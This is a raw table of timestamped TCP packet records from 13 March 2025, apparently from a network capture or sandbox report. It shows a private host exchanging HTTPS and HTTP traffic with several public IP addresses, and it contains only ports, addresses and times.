Mar 13, 2025 10:07:47.973741055 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.974268913 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.974365950 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.975958109 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.976030111 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.976044893 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.976351976 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.977674007 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.977832079 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.978080034 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.979387999 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.979590893 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.979907990 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.981081009 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.981187105 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.982801914 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.982815981 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.983201027 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.983210087 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.984390974 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.984489918 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.984539986 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.986035109 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.986112118 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.986128092 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.987698078 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.987782001 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.987790108 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.989356041 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.989418030 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.991003036 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.991072893 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.991151094 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.991151094 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.991158962 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.992568016 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.992758036 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.992866039 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.997493982 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.997505903 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.997575045 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.997761965 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.997772932 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:47.997781992 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:47.999265909 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:48.000005960 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.000565052 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:48.000572920 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.001718998 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.001729012 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.001804113 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:48.001821995 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.002985001 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:48.004004002 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.004345894 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.004368067 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:48.004374027 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.004827976 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:48.009085894 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.009175062 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.009936094 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.010266066 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:48.010267019 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:48.010274887 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.014223099 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.014230967 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.014337063 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:48.014344931 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.014456034 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:48.020773888 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.020838976 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.020889997 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:48.020895958 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.020925999 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.021018982 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:48.021034956 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.021097898 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:48.025068998 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.025109053 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.025161982 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.025166035 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:48.025171041 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.025281906 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:48.025286913 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.025494099 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:48.031316996 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.031337976 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.031363964 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.031521082 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:48.031521082 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:48.031528950 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.037336111 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.037365913 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.037422895 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:48.037429094 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.037477970 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.037506104 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:48.037518978 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.037558079 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:48.037564039 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.037661076 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:48.043139935 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.043201923 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.043245077 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.043457985 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:48.043468952 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.045384884 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:48.048609018 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.048649073 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.048655033 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.049494982 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.049550056 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:48.049551010 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:48.049561024 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.049755096 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:48.052284002 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.052371025 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.052417040 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.052560091 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:48.052568913 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.054722071 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:48.057730913 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.057753086 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.057763100 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.057831049 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:48.057841063 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.058058977 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:48.062899113 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.062931061 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.062982082 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.063141108 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.063234091 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:48.063234091 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:48.063242912 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.063390970 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:48.067951918 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.068078995 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.071260929 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:48.071269035 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.071495056 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:48.073050022 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.073075056 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.073407888 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.075726986 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:48.075726986 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:48.075735092 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.076263905 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.076292992 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.076387882 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:48.076387882 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:48.076394081 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.076545000 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.077708006 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:48.077714920 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.084363937 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.084393024 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.084450006 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:48.084456921 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.084542036 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:48.084616899 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.084677935 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:48.084683895 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.086843014 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.086852074 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.086877108 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.086932898 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.086961031 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:48.086976051 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.087133884 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:48.090970993 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.090993881 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.091037989 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.091104031 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:48.091104031 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:48.091114044 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.091187000 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:48.096026897 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.096035957 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.097320080 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:48.097326994 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.097397089 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:48.140400887 CET	443	49702	172.66.0.235	192.168.2.12
Mar 13, 2025 10:07:48.140578032 CET	49702	443	192.168.2.12	172.66.0.235
Mar 13, 2025 10:07:48.191545963 CET	49707	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:48.191577911 CET	443	49707	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:48.191679955 CET	49707	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:48.191926956 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:48.191957951 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:48.192023993 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:48.192650080 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:48.192662954 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:48.193259954 CET	49707	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:48.193280935 CET	443	49707	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:48.193671942 CET	49709	443	192.168.2.12	104.17.24.14
Mar 13, 2025 10:07:48.193681002 CET	443	49709	104.17.24.14	192.168.2.12
Mar 13, 2025 10:07:48.193742990 CET	49709	443	192.168.2.12	104.17.24.14
Mar 13, 2025 10:07:48.194201946 CET	49709	443	192.168.2.12	104.17.24.14
Mar 13, 2025 10:07:48.194211960 CET	443	49709	104.17.24.14	192.168.2.12
Mar 13, 2025 10:07:48.882376909 CET	49683	443	192.168.2.12	2.23.227.208
Mar 13, 2025 10:07:48.882514954 CET	49683	443	192.168.2.12	2.23.227.208
Mar 13, 2025 10:07:48.883187056 CET	49711	443	192.168.2.12	2.23.227.208
Mar 13, 2025 10:07:48.883227110 CET	443	49711	2.23.227.208	192.168.2.12
Mar 13, 2025 10:07:48.883287907 CET	49711	443	192.168.2.12	2.23.227.208
Mar 13, 2025 10:07:48.883758068 CET	49711	443	192.168.2.12	2.23.227.208
Mar 13, 2025 10:07:48.883770943 CET	443	49711	2.23.227.208	192.168.2.12
Mar 13, 2025 10:07:48.887289047 CET	443	49683	2.23.227.208	192.168.2.12
Mar 13, 2025 10:07:48.887309074 CET	443	49683	2.23.227.208	192.168.2.12
Mar 13, 2025 10:07:49.673017025 CET	49679	443	192.168.2.12	20.189.173.5
Mar 13, 2025 10:07:49.993347883 CET	49713	80	192.168.2.12	172.217.18.99
Mar 13, 2025 10:07:49.998075962 CET	80	49713	172.217.18.99	192.168.2.12
Mar 13, 2025 10:07:49.998172998 CET	49713	80	192.168.2.12	172.217.18.99
Mar 13, 2025 10:07:49.998348951 CET	49713	80	192.168.2.12	172.217.18.99
Mar 13, 2025 10:07:50.002994061 CET	80	49713	172.217.18.99	192.168.2.12
Mar 13, 2025 10:07:50.073193073 CET	443	49707	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.073811054 CET	49707	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.073832035 CET	443	49707	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.075057983 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.075138092 CET	443	49707	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.075227022 CET	49707	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.075378895 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.075412035 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.076492071 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.076559067 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.076595068 CET	49707	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.076679945 CET	443	49707	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.077099085 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.077172995 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.077264071 CET	49707	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.077272892 CET	443	49707	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.077392101 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.077403069 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.126173973 CET	49707	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.126183987 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.149749041 CET	443	49709	104.17.24.14	192.168.2.12
Mar 13, 2025 10:07:50.150053978 CET	49709	443	192.168.2.12	104.17.24.14
Mar 13, 2025 10:07:50.150072098 CET	443	49709	104.17.24.14	192.168.2.12
Mar 13, 2025 10:07:50.151236057 CET	443	49709	104.17.24.14	192.168.2.12
Mar 13, 2025 10:07:50.151293993 CET	49709	443	192.168.2.12	104.17.24.14
Mar 13, 2025 10:07:50.152384043 CET	49709	443	192.168.2.12	104.17.24.14
Mar 13, 2025 10:07:50.152462006 CET	443	49709	104.17.24.14	192.168.2.12
Mar 13, 2025 10:07:50.152615070 CET	49709	443	192.168.2.12	104.17.24.14
Mar 13, 2025 10:07:50.152623892 CET	443	49709	104.17.24.14	192.168.2.12
Mar 13, 2025 10:07:50.203469992 CET	49709	443	192.168.2.12	104.17.24.14
Mar 13, 2025 10:07:50.604489088 CET	443	49707	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.615565062 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.615638971 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.615710020 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.615735054 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.621443033 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.621527910 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.621545076 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.622025013 CET	80	49713	172.217.18.99	192.168.2.12
Mar 13, 2025 10:07:50.631155014 CET	49713	80	192.168.2.12	172.217.18.99
Mar 13, 2025 10:07:50.635932922 CET	80	49713	172.217.18.99	192.168.2.12
Mar 13, 2025 10:07:50.655670881 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.655698061 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.655752897 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.655775070 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.655827045 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.656559944 CET	49707	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.661770105 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.667777061 CET	443	49707	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.667792082 CET	443	49707	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.667833090 CET	443	49707	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.667840004 CET	443	49707	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.667851925 CET	443	49707	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.667854071 CET	49707	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.667872906 CET	443	49707	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.667928934 CET	49707	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.667928934 CET	49707	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.668601036 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.668631077 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.668679953 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.668698072 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.668858051 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.668864965 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.703759909 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.703794003 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.703862906 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.703886986 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.703937054 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.713558912 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.716959000 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.716995955 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.717047930 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.717072964 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.717286110 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.723290920 CET	443	49707	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.723304987 CET	443	49707	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.723336935 CET	443	49707	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.723386049 CET	49707	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.723421097 CET	443	49707	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.723462105 CET	49707	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.723481894 CET	49707	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.723829031 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.730726957 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.730788946 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.730809927 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.744055986 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.744086027 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.744172096 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.744195938 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.744299889 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.744585991 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.746364117 CET	443	49709	104.17.24.14	192.168.2.12
Mar 13, 2025 10:07:50.746414900 CET	443	49709	104.17.24.14	192.168.2.12
Mar 13, 2025 10:07:50.746445894 CET	443	49709	104.17.24.14	192.168.2.12
Mar 13, 2025 10:07:50.746488094 CET	443	49709	104.17.24.14	192.168.2.12
Mar 13, 2025 10:07:50.746503115 CET	49709	443	192.168.2.12	104.17.24.14
Mar 13, 2025 10:07:50.746515989 CET	443	49709	104.17.24.14	192.168.2.12
Mar 13, 2025 10:07:50.746548891 CET	49709	443	192.168.2.12	104.17.24.14
Mar 13, 2025 10:07:50.753937006 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.753985882 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.754031897 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.754059076 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.754098892 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.757991076 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.763544083 CET	443	49707	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.763570070 CET	443	49707	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.763679981 CET	49707	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.763708115 CET	443	49707	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.763798952 CET	49707	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.764776945 CET	49707	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.765086889 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.765124083 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.765198946 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.765224934 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.765456915 CET	49708	443	192.168.2.12	151.101.130.137
Mar 13, 2025 10:07:50.771723032 CET	443	49708	151.101.130.137	192.168.2.12
Mar 13, 2025 10:07:50.781384945 CET	443	49709	104.17.24.14	192.168.2.12
Mar 13, 2025 10:07:50.781433105 CET	443	49709	104.17.24.14	192.168.2.12
Mar 13, 2025 10:07:50.781443119 CET	49709	443	192.168.2.12	104.17.24.14
Mar 13, 2025 10:07:50.781469107 CET	443	49709	104.17.24.14	192.168.2.12
Mar 13, 2025 10:07:50.781543016 CET	49709	443	192.168.2.12	104.17.24.14
Mar 13, 2025 10:07:50.784547091 CET	443	49709	104.17.24.14	192.168.2.12
Mar 13, 2025 10:07:50.791376114 CET	443	49709	104.17.24.14	192.168.2.12
Mar 13, 2025 10:07:50.791419029 CET	443	49709	104.17.24.14	192.168.2.12
Mar 13, 2025 10:07:50.791439056 CET	49709	443	192.168.2.12	104.17.24.14
Mar 13, 2025 10:07:50.791461945 CET	443	49709	104.17.24.14	192.168.2.12
Mar 13, 2025 10:07:50.791510105 CET	49709	443	192.168.2.12	104.17.24.14
